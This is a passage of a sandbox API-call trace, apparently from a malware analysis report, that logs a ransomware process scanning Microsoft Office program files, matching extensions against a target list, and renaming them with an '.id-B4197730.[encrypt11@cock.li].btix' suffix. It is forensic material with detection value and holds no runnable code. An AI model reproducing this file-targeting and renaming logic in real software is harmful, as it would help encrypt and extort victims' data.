returned 4 [0140.416] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0140.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0140.416] lstrlenW (lpString=".zip") returned 4 [0140.416] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0140.416] lstrlenW (lpString=".rar") returned 4 [0140.416] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0140.416] lstrlenW (lpString=".bz2") returned 4 [0140.416] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0140.416] lstrlenW (lpString=".7z") returned 3 [0140.416] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0140.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0140.416] lstrlenW (lpString=".dbf") returned 4 [0140.416] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0140.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0140.416] lstrlenW (lpString=".1cd") returned 4 [0140.416] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0140.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0140.416] lstrlenW (lpString=".jpg") returned 4 [0140.416] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0140.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0140.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0140.416] lstrlenW (lpString=".doc") returned 4 [0140.416] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0140.416] lstrlenW (lpString=".docx") returned 5 [0140.416] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0140.416] lstrlenW (lpString=".pdf") returned 4 [0140.416] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0140.417] lstrlenW (lpString=".xls") returned 4 [0140.417] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0140.417] lstrlenW (lpString=".xlsx") returned 5 [0140.417] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0140.417] lstrlenW (lpString=".ppt") returned 4 [0140.417] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0140.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0140.417] lstrlenW (lpString=".zip") returned 4 [0140.417] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0140.417] lstrlenW (lpString=".rar") returned 4 [0140.417] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0140.417] lstrlenW (lpString=".bz2") returned 4 [0140.417] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0140.417] lstrlenW (lpString=".7z") returned 3 [0140.418] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0140.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0140.418] lstrlenW (lpString=".dbf") returned 4 [0140.418] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0140.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0140.418] lstrlenW (lpString=".1cd") returned 4 [0140.418] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0140.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0140.418] lstrlenW (lpString=".jpg") returned 4 [0140.418] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0140.418] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0140.418] lstrlenW (lpString="AppVStreamMap.dll") returned 17 [0140.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvstreammap.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0140.419] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=194776) returned 1 [0140.419] CloseHandle (hObject=0x498) returned 1 [0140.419] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvstreammap.dll")) returned 0x220 [0140.419] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvstreammap.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0140.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvstreammap.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0140.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0140.420] lstrlenW (lpString=".doc") returned 4 [0140.420] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0140.420] lstrlenW (lpString=".docx") returned 5 [0140.420] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0140.420] lstrlenW (lpString=".pdf") returned 4 [0140.420] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0140.420] lstrlenW (lpString=".xls") returned 4 [0140.420] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0140.420] lstrlenW (lpString=".xlsx") returned 5 [0140.420] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0140.420] lstrlenW (lpString=".ppt") returned 4 [0140.420] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0140.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0140.420] lstrlenW (lpString=".zip") returned 4 [0140.420] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0140.420] lstrlenW (lpString=".rar") returned 4 [0140.420] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0140.420] lstrlenW (lpString=".bz2") returned 4 [0140.421] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0140.421] lstrlenW (lpString=".7z") returned 3 [0140.421] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0140.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0140.421] lstrlenW (lpString=".dbf") returned 4 [0140.421] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0140.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0140.421] lstrlenW (lpString=".1cd") returned 4 [0140.421] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0140.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0140.421] lstrlenW (lpString=".jpg") returned 4 [0140.421] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0140.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0140.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0140.421] lstrlenW (lpString=".doc") returned 4 [0140.421] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0140.421] lstrlenW (lpString=".docx") returned 5 [0140.421] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0140.421] lstrlenW (lpString=".pdf") returned 4 [0140.421] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0140.421] lstrlenW (lpString=".xls") returned 4 [0140.421] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0140.421] lstrlenW (lpString=".xlsx") returned 5 [0140.421] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0140.421] lstrlenW (lpString=".ppt") returned 4 [0140.421] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0140.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0140.421] lstrlenW (lpString=".zip") returned 4 [0140.422] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0140.422] lstrlenW (lpString=".rar") returned 4 [0140.422] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0140.422] lstrlenW (lpString=".bz2") returned 4 [0140.422] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0140.422] lstrlenW (lpString=".7z") returned 3 [0140.422] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0140.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0140.422] lstrlenW (lpString=".dbf") returned 4 [0140.422] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0140.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0140.422] lstrlenW (lpString=".1cd") returned 4 [0140.422] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0140.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0140.422] lstrlenW (lpString=".jpg") returned 4 [0140.422] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0140.422] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0140.422] lstrlenW (lpString="concrt140.dll") returned 13 [0140.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\concrt140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0140.435] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=243520) returned 1 [0140.435] CloseHandle (hObject=0x498) returned 1 [0140.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\concrt140.dll")) returned 0x220 [0140.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\concrt140.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0140.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\concrt140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0140.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0140.435] lstrlenW (lpString=".doc") returned 4 [0140.435] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0140.435] lstrlenW (lpString=".docx") returned 5 [0140.435] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0140.435] lstrlenW (lpString=".pdf") returned 4 [0140.436] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0140.436] lstrlenW (lpString=".xls") returned 4 [0140.436] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0140.436] lstrlenW (lpString=".xlsx") returned 5 [0140.436] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0140.436] lstrlenW (lpString=".ppt") returned 4 [0140.436] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0140.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0140.436] lstrlenW (lpString=".zip") returned 4 [0140.436] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0140.436] lstrlenW (lpString=".rar") returned 4 [0140.436] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0140.436] lstrlenW (lpString=".bz2") returned 4 [0140.436] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0140.436] lstrlenW (lpString=".7z") returned 3 [0140.436] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0140.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0140.436] lstrlenW (lpString=".dbf") returned 4 [0140.436] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0140.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0140.436] lstrlenW (lpString=".1cd") returned 4 [0140.436] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0140.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0140.436] lstrlenW (lpString=".jpg") returned 4 [0140.436] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0140.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0140.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0140.437] lstrlenW (lpString=".doc") returned 4 [0140.437] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0140.437] lstrlenW (lpString=".docx") returned 5 [0140.437] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0140.437] lstrlenW (lpString=".pdf") returned 4 [0140.437] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0140.437] lstrlenW (lpString=".xls") returned 4 [0140.437] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0140.437] lstrlenW (lpString=".xlsx") returned 5 [0140.437] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0140.437] lstrlenW (lpString=".ppt") returned 4 [0140.437] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0140.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0140.437] lstrlenW (lpString=".zip") returned 4 [0140.437] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0140.437] lstrlenW (lpString=".rar") returned 4 [0140.437] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0140.437] lstrlenW (lpString=".bz2") returned 4 [0140.437] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0140.437] lstrlenW (lpString=".7z") returned 3 [0140.437] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0140.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0140.437] lstrlenW (lpString=".dbf") returned 4 [0140.437] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0140.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0140.437] lstrlenW (lpString=".1cd") returned 4 [0140.437] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0140.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0140.438] lstrlenW (lpString=".jpg") returned 4 [0140.438] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0140.438] lstrcmpiW (lpString1=".exe", lpString2=".btix") returned 1 [0140.438] lstrlenW (lpString="Flattener.exe") returned 13 [0140.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0140.439] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=45664) returned 1 [0140.681] CloseHandle (hObject=0x498) returned 1 [0140.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe")) returned 0x220 [0140.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0140.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0140.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0140.682] lstrlenW (lpString=".doc") returned 4 [0140.682] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0140.682] lstrlenW (lpString=".docx") returned 5 [0140.682] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0140.682] lstrlenW (lpString=".pdf") returned 4 [0140.682] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0140.682] lstrlenW (lpString=".xls") returned 4 [0140.682] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0140.682] lstrlenW (lpString=".xlsx") returned 5 [0140.682] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0140.682] lstrlenW (lpString=".ppt") returned 4 [0140.682] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0140.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0140.682] lstrlenW (lpString=".zip") returned 4 [0140.682] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0140.682] lstrlenW (lpString=".rar") returned 4 [0140.682] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0140.682] lstrlenW (lpString=".bz2") returned 4 [0140.682] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0140.683] lstrlenW (lpString=".7z") returned 3 [0140.683] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0140.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0140.683] lstrlenW (lpString=".dbf") returned 4 [0140.683] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0140.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0140.683] lstrlenW (lpString=".1cd") returned 4 [0140.683] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0140.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0140.683] lstrlenW (lpString=".jpg") returned 4 [0140.683] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0140.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0140.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0140.683] lstrlenW (lpString=".doc") returned 4 [0140.683] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0140.683] lstrlenW (lpString=".docx") returned 5 [0140.683] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0140.683] lstrlenW (lpString=".pdf") returned 4 [0140.683] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0140.683] lstrlenW (lpString=".xls") returned 4 [0140.683] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0140.683] lstrlenW (lpString=".xlsx") returned 5 [0140.683] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0140.683] lstrlenW (lpString=".ppt") returned 4 [0140.683] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0140.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0140.683] lstrlenW (lpString=".zip") returned 4 [0140.683] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0140.683] lstrlenW (lpString=".rar") returned 4 [0140.683] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0140.683] lstrlenW (lpString=".bz2") returned 4 [0140.683] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0140.684] lstrlenW (lpString=".7z") returned 3 [0140.684] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0140.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0140.684] lstrlenW (lpString=".dbf") returned 4 [0140.684] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0140.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0140.684] lstrlenW (lpString=".1cd") returned 4 [0140.684] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0140.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0140.684] lstrlenW (lpString=".jpg") returned 4 [0140.684] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0140.684] lstrcmpiW (lpString1=".msp", lpString2=".btix") returned 1 [0140.684] lstrlenW (lpString="QFE31928.msp") returned 12 [0140.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0140.685] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=25876480) returned 1 [0140.685] CloseHandle (hObject=0x498) returned 1 [0140.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp")) returned 0x220 [0140.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0140.685] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0140.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp") returned 63 [0140.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp") returned 63 [0140.685] lstrlenW (lpString=".doc") returned 4 [0140.685] lstrcmpiW (lpString1=".doc", lpString2=".msp") returned -1 [0140.685] lstrlenW (lpString=".docx") returned 5 [0140.685] lstrcmpiW (lpString1=".docx", lpString2="8.msp") returned -1 [0140.685] lstrlenW (lpString=".pdf") returned 4 [0140.685] lstrcmpiW (lpString1=".pdf", lpString2=".msp") returned 1 [0140.686] lstrlenW (lpString=".xls") returned 4 [0140.686] lstrcmpiW (lpString1=".xls", lpString2=".msp") returned 1 [0140.686] lstrlenW (lpString=".xlsx") returned 5 [0140.686] lstrcmpiW (lpString1=".xlsx", lpString2="8.msp") returned -1 [0140.686] lstrlenW (lpString=".ppt") returned 4 [0140.686] lstrcmpiW (lpString1=".ppt", lpString2=".msp") returned 1 [0140.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp") returned 63 [0140.686] lstrlenW (lpString=".zip") returned 4 [0140.686] lstrcmpiW (lpString1=".zip", lpString2=".msp") returned 1 [0140.686] lstrlenW (lpString=".rar") returned 4 [0140.686] lstrcmpiW (lpString1=".rar", lpString2=".msp") returned 1 [0140.686] lstrlenW (lpString=".bz2") returned 4 [0140.686] lstrcmpiW (lpString1=".bz2", lpString2=".msp") returned -1 [0140.686] lstrlenW (lpString=".7z") returned 3 [0140.686] lstrcmpiW (lpString1=".7z", lpString2="msp") returned -1 [0140.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp") returned 63 [0140.686] lstrlenW (lpString=".dbf") returned 4 [0140.686] lstrcmpiW (lpString1=".dbf", lpString2=".msp") returned -1 [0140.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp") returned 63 [0140.686] lstrlenW (lpString=".1cd") returned 4 [0140.686] lstrcmpiW (lpString1=".1cd", lpString2=".msp") returned -1 [0140.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp") returned 63 [0140.686] lstrlenW (lpString=".jpg") returned 4 [0140.686] lstrcmpiW (lpString1=".jpg", lpString2=".msp") returned -1 [0140.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp") returned 63 [0140.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp") returned 63 [0140.686] lstrlenW (lpString=".doc") returned 4 [0140.686] lstrcmpiW (lpString1=".doc", lpString2=".msp") returned -1 [0140.686] lstrlenW (lpString=".docx") returned 5 [0140.686] lstrcmpiW (lpString1=".docx", lpString2="8.msp") returned -1 [0140.686] lstrlenW (lpString=".pdf") returned 4 [0140.686] lstrcmpiW (lpString1=".pdf", lpString2=".msp") returned 1 [0140.687] lstrlenW (lpString=".xls") returned 4 [0140.687] lstrcmpiW (lpString1=".xls", lpString2=".msp") returned 1 [0140.687] lstrlenW (lpString=".xlsx") returned 5 [0140.687] lstrcmpiW (lpString1=".xlsx", lpString2="8.msp") returned -1 [0140.687] lstrlenW (lpString=".ppt") returned 4 [0140.687] lstrcmpiW (lpString1=".ppt", lpString2=".msp") returned 1 [0140.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp") returned 63 [0140.687] lstrlenW (lpString=".zip") returned 4 [0140.687] lstrcmpiW (lpString1=".zip", lpString2=".msp") returned 1 [0140.687] lstrlenW (lpString=".rar") returned 4 [0140.687] lstrcmpiW (lpString1=".rar", lpString2=".msp") returned 1 [0140.687] lstrlenW (lpString=".bz2") returned 4 [0140.687] lstrcmpiW (lpString1=".bz2", lpString2=".msp") returned -1 [0140.687] lstrlenW (lpString=".7z") returned 3 [0140.687] lstrcmpiW (lpString1=".7z", lpString2="msp") returned -1 [0140.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp") returned 63 [0140.687] lstrlenW (lpString=".dbf") returned 4 [0140.687] lstrcmpiW (lpString1=".dbf", lpString2=".msp") returned -1 [0140.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp") returned 63 [0140.687] lstrlenW (lpString=".1cd") returned 4 [0140.687] lstrcmpiW (lpString1=".1cd", lpString2=".msp") returned -1 [0140.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp") returned 63 [0140.687] lstrlenW (lpString=".jpg") returned 4 [0140.687] lstrcmpiW (lpString1=".jpg", lpString2=".msp") returned -1 [0140.687] lstrcmpiW (lpString1=".msi", lpString2=".btix") returned 1 [0140.687] lstrlenW (lpString="SPPRedist.msi") returned 13 [0140.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, 